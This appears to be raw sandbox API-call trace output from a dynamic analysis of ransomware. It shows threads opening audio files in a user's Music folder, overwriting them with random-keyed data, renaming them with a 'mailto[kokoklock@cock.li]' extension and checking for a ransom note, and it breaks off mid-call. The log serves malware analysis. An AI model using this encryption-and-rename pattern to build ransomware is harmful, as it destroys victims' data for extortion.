1 [0075.447] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3476bc8 [0075.447] wcscpy (in: _Dest=0x3476bc8, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\bp18etyN.m4a" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\bp18etyN.m4a") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\bp18etyN.m4a" [0075.447] wcscat (in: _Dest=0x3476bc8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\bp18etyN.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\bp18etyN.m4a.mailto[kokoklock@cock.li].d0e731" [0075.447] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\bp18etyN.m4a" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\ion-zuuuu rn3l18\\bp18etyn.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\bp18etyN.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\ion-zuuuu rn3l18\\bp18etyn.m4a.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.448] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\bp18etyN.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.448] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3476bc8) returned 1 [0075.448] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\bp18etyN.m4a", dwFileAttributes=0x20) returned 0 [0075.448] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x96) returned 0x33eacd0 [0075.448] wcscpy (in: _Dest=0x33eacd0, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\" [0075.448] wcscat (in: _Dest=0x33eacd0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\D0E731-Readme.txt" [0075.448] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\ion-zuuuu rn3l18\\d0e731-readme.txt")) returned 0x20 [0075.449] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eacd0) returned 1 [0075.449] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bf98) returned 1 [0075.449] RtlExitUserThread (Status=0x1) Thread: id = 761 os_tid = 0x1230 [0075.451] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\fhfdqbFpa04KkHX10.mp3" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\ion-zuuuu rn3l18\\fhfdqbfpa04kkhx10.mp3")) returned 0x20 [0075.451] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\fhfdqbFpa04KkHX10.mp3", dwFileAttributes=0x20) returned 1 [0075.451] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\fhfdqbFpa04KkHX10.mp3" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\ion-zuuuu rn3l18\\fhfdqbfpa04kkhx10.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9dc [0075.451] GetFileSizeEx (in: hFile=0x9dc, lpFileSize=0x1ca3f834 | out: lpFileSize=0x1ca3f834*=57429) returned 1 [0075.451] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0xe051, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.451] ReadFile (in: hFile=0x9dc, lpBuffer=0x1ca3f808, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1ca3f804, lpOverlapped=0x0 | out: lpBuffer=0x1ca3f808*, lpNumberOfBytesRead=0x1ca3f804*=0x4, lpOverlapped=0x0) returned 1 [0075.451] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.451] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34795c0 [0075.451] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479688 [0075.451] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479408 [0075.451] NtQuerySystemTime (in: CurrentTime=0x1ca3f7e0 | out: CurrentTime=0x1ca3f7e0*=132121176333482568) returned 0x0 [0075.451] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0xaff125cc [0075.451] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0xaa74b255 [0075.451] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0xf3d6a08e [0075.452] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0xe5445ac5 [0075.452] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0x454f5540 [0075.452] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0xb5b970f [0075.452] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0x92a72837 [0075.452] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0x3a085ffe [0075.452] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0xe23d3c1 [0075.452] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0x62bf3ab2 [0075.452] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0xf9e8bcb1 [0075.452] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0x40a6f359 [0075.452] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0x70f7282a [0075.452] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0xebdf2650 [0075.452] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0x5bff0f5d [0075.452] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0xc501563f [0075.452] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0x44036e2e [0075.452] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0x37165e14 [0075.452] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0x2d0b2dd3 [0075.452] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0xc4846937 [0075.452] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0xb0a1b0d9 [0075.452] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0x75626106 [0075.452] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0x568d93eb [0075.452] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0xb9f319cc [0075.452] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0x4a326e8f [0075.452] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0xf7c9966e [0075.452] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0x149249 [0075.452] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0xdd515a0 [0075.452] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0x38e4fd0a [0075.452] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0x43730b84 [0075.452] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0x6751b9b5 [0075.452] RtlRandom (in: Seed=0x1ca3f7ec | out: Seed=0x1ca3f7ec) returned 0x97fd75af [0075.463] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.463] ReadFile (in: hFile=0x9dc, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1ca3f7b8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1ca3f7b8*=0x4096, lpOverlapped=0x0) returned 1 [0075.463] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.464] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0075.464] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0075.464] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479548 [0075.464] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479548) returned 1 [0075.464] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0075.464] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34794d0 [0075.464] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34794f8 [0075.464] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34794f8) returned 1 [0075.464] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0075.464] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0075.464] WriteFile (in: hFile=0x9dc, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1ca3f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1ca3f7b8*=0x4096, lpOverlapped=0x0) returned 1 [0075.465] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.465] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0xe055, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.465] WriteFile (in: hFile=0x9dc, lpBuffer=0x34794d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1ca3f7f0, lpOverlapped=0x0 | out: lpBuffer=0x34794d0*, lpNumberOfBytesWritten=0x1ca3f7f0*=0x20, lpOverlapped=0x0) returned 1 [0075.465] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34794d0) returned 1 [0075.465] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.465] WriteFile (in: hFile=0x9dc, lpBuffer=0x34794a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1ca3f804, lpOverlapped=0x0 | out: lpBuffer=0x34794a8*, lpNumberOfBytesWritten=0x1ca3f804*=0x8, lpOverlapped=0x0) returned 1 [0075.465] WriteFile (in: hFile=0x9dc, lpBuffer=0x1ca3f81c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1ca3f804, lpOverlapped=0x0 | out: lpBuffer=0x1ca3f81c*, lpNumberOfBytesWritten=0x1ca3f804*=0x4, lpOverlapped=0x0) returned 1 [0075.465] WriteFile (in: hFile=0x9dc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1ca3f804, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1ca3f804*=0x4, lpOverlapped=0x0) returned 1 [0075.465] WriteFile (in: hFile=0x9dc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1ca3f804, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1ca3f804*=0x6c, lpOverlapped=0x0) returned 1 [0075.465] WriteFile (in: hFile=0x9dc, lpBuffer=0x3479688*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1ca3f804, lpOverlapped=0x0 | out: lpBuffer=0x3479688*, lpNumberOfBytesWritten=0x1ca3f804*=0x20, lpOverlapped=0x0) returned 1 [0075.465] WriteFile (in: hFile=0x9dc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1ca3f804, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1ca3f804*=0x4, lpOverlapped=0x0) returned 1 [0075.465] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479688) returned 1 [0075.465] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479480) returned 1 [0075.465] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34794a8) returned 1 [0075.466] CloseHandle (hObject=0x9dc) returned 1 [0075.466] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xde) returned 0x3433208 [0075.466] wcscpy (in: _Dest=0x3433208, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\fhfdqbFpa04KkHX10.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\fhfdqbFpa04KkHX10.mp3") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\fhfdqbFpa04KkHX10.mp3" [0075.466] wcscat (in: _Dest=0x3433208, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\fhfdqbFpa04KkHX10.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\fhfdqbFpa04KkHX10.mp3.mailto[kokoklock@cock.li].d0e731" [0075.466] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\fhfdqbFpa04KkHX10.mp3" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\ion-zuuuu rn3l18\\fhfdqbfpa04kkhx10.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\fhfdqbFpa04KkHX10.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\ion-zuuuu rn3l18\\fhfdqbfpa04kkhx10.mp3.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.466] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\fhfdqbFpa04KkHX10.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.466] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433208) returned 1 [0075.466] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\fhfdqbFpa04KkHX10.mp3", dwFileAttributes=0x20) returned 0 [0075.467] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x96) returned 0x33eaeb0 [0075.467] wcscpy (in: _Dest=0x33eaeb0, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\" [0075.467] wcscat (in: _Dest=0x33eaeb0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\D0E731-Readme.txt" [0075.467] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\ion-zuuuu rn3l18\\d0e731-readme.txt")) returned 0x20 [0075.467] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eaeb0) returned 1 [0075.467] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6a68) returned 1 [0075.467] RtlExitUserThread (Status=0x1) Thread: id = 762 os_tid = 0x1234 [0075.468] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\2975uXH.wav" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rvjx7ijh7o9lf\\2975uxh.wav")) returned 0x20 [0075.468] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\2975uXH.wav", dwFileAttributes=0x20) returned 1 [0075.468] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\2975uXH.wav" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rvjx7ijh7o9lf\\2975uxh.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9dc [0075.468] GetFileSizeEx (in: hFile=0x9dc, lpFileSize=0x1cabfb80 | out: lpFileSize=0x1cabfb80*=81707) returned 1 [0075.468] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x13f27, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.468] ReadFile (in: hFile=0x9dc, lpBuffer=0x1cabfb54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1cabfb50, lpOverlapped=0x0 | out: lpBuffer=0x1cabfb54*, lpNumberOfBytesRead=0x1cabfb50*=0x4, lpOverlapped=0x0) returned 1 [0075.468] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.469] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34795c0 [0075.469] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479688 [0075.469] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479480 [0075.469] NtQuerySystemTime (in: CurrentTime=0x1cabfb2c | out: CurrentTime=0x1cabfb2c*=132121176333627850) returned 0x0 [0075.469] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0xf241a26b [0075.469] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0x5c4c86d9 [0075.469] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0xd020511c [0075.469] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0x5c75b435 [0075.469] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0x4149f8ec [0075.469] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0xa65088f [0075.469] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0xe17b6290 [0075.469] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0x3f3a5a11 [0075.469] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0xd81801e9 [0075.469] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0xbf84e6df [0075.469] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0x94cb5e04 [0075.469] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0x39968df5 [0075.469] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0x75c42c49 [0075.469] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0xd8da850b [0075.469] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0xeffc198b [0075.469] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0x7dc77502 [0075.469] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0x1d589eea [0075.469] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0x145ba81 [0075.469] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0x4bdd8b06 [0075.469] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0x5bf49c90 [0075.469] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0x490022c0 [0075.469] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0x2aaea230 [0075.469] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0x6cc8549f [0075.469] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0xffece577 [0075.469] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0xff2216b5 [0075.469] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0xc9ec6112 [0075.469] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0xd4c96308 [0075.469] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0x3c0b6009 [0075.470] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0xcebfcfc6 [0075.470] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0x4b3cfe19 [0075.470] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0x27c19a05 [0075.470] RtlRandom (in: Seed=0x1cabfb38 | out: Seed=0x1cabfb38) returned 0xbd55c7d6 [0075.481] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.481] ReadFile (in: hFile=0x9dc, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1cabfb04, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1cabfb04*=0x4096, lpOverlapped=0x0) returned 1 [0075.481] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.481] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0075.481] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0075.482] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479548 [0075.482] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479548) returned 1 [0075.482] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0075.482] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34794f8 [0075.482] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479520 [0075.482] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479520) returned 1 [0075.482] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0075.482] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0075.482] WriteFile (in: hFile=0x9dc, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1cabfb04, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1cabfb04*=0x4096, lpOverlapped=0x0) returned 1 [0075.482] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.483] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x13f2b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.483] WriteFile (in: hFile=0x9dc, lpBuffer=0x34794f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1cabfb3c, lpOverlapped=0x0 | out: lpBuffer=0x34794f8*, lpNumberOfBytesWritten=0x1cabfb3c*=0x20, lpOverlapped=0x0) returned 1 [0075.483] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34794f8) returned 1 [0075.483] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.483] WriteFile (in: hFile=0x9dc, lpBuffer=0x34794d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1cabfb50, lpOverlapped=0x0 | out: lpBuffer=0x34794d0*, lpNumberOfBytesWritten=0x1cabfb50*=0x8, lpOverlapped=0x0) returned 1 [0075.483] WriteFile (in: hFile=0x9dc, lpBuffer=0x1cabfb68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1cabfb50, lpOverlapped=0x0 | out: lpBuffer=0x1cabfb68*, lpNumberOfBytesWritten=0x1cabfb50*=0x4, lpOverlapped=0x0) returned 1 [0075.483] WriteFile (in: hFile=0x9dc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1cabfb50, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1cabfb50*=0x4, lpOverlapped=0x0) returned 1 [0075.483] WriteFile (in: hFile=0x9dc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1cabfb50, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1cabfb50*=0x6c, lpOverlapped=0x0) returned 1 [0075.483] WriteFile (in: hFile=0x9dc, lpBuffer=0x3479688*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1cabfb50, lpOverlapped=0x0 | out: lpBuffer=0x3479688*, lpNumberOfBytesWritten=0x1cabfb50*=0x20, lpOverlapped=0x0) returned 1 [0075.483] WriteFile (in: hFile=0x9dc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1cabfb50, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1cabfb50*=0x4, lpOverlapped=0x0) returned 1 [0075.483] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479688) returned 1 [0075.483] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, 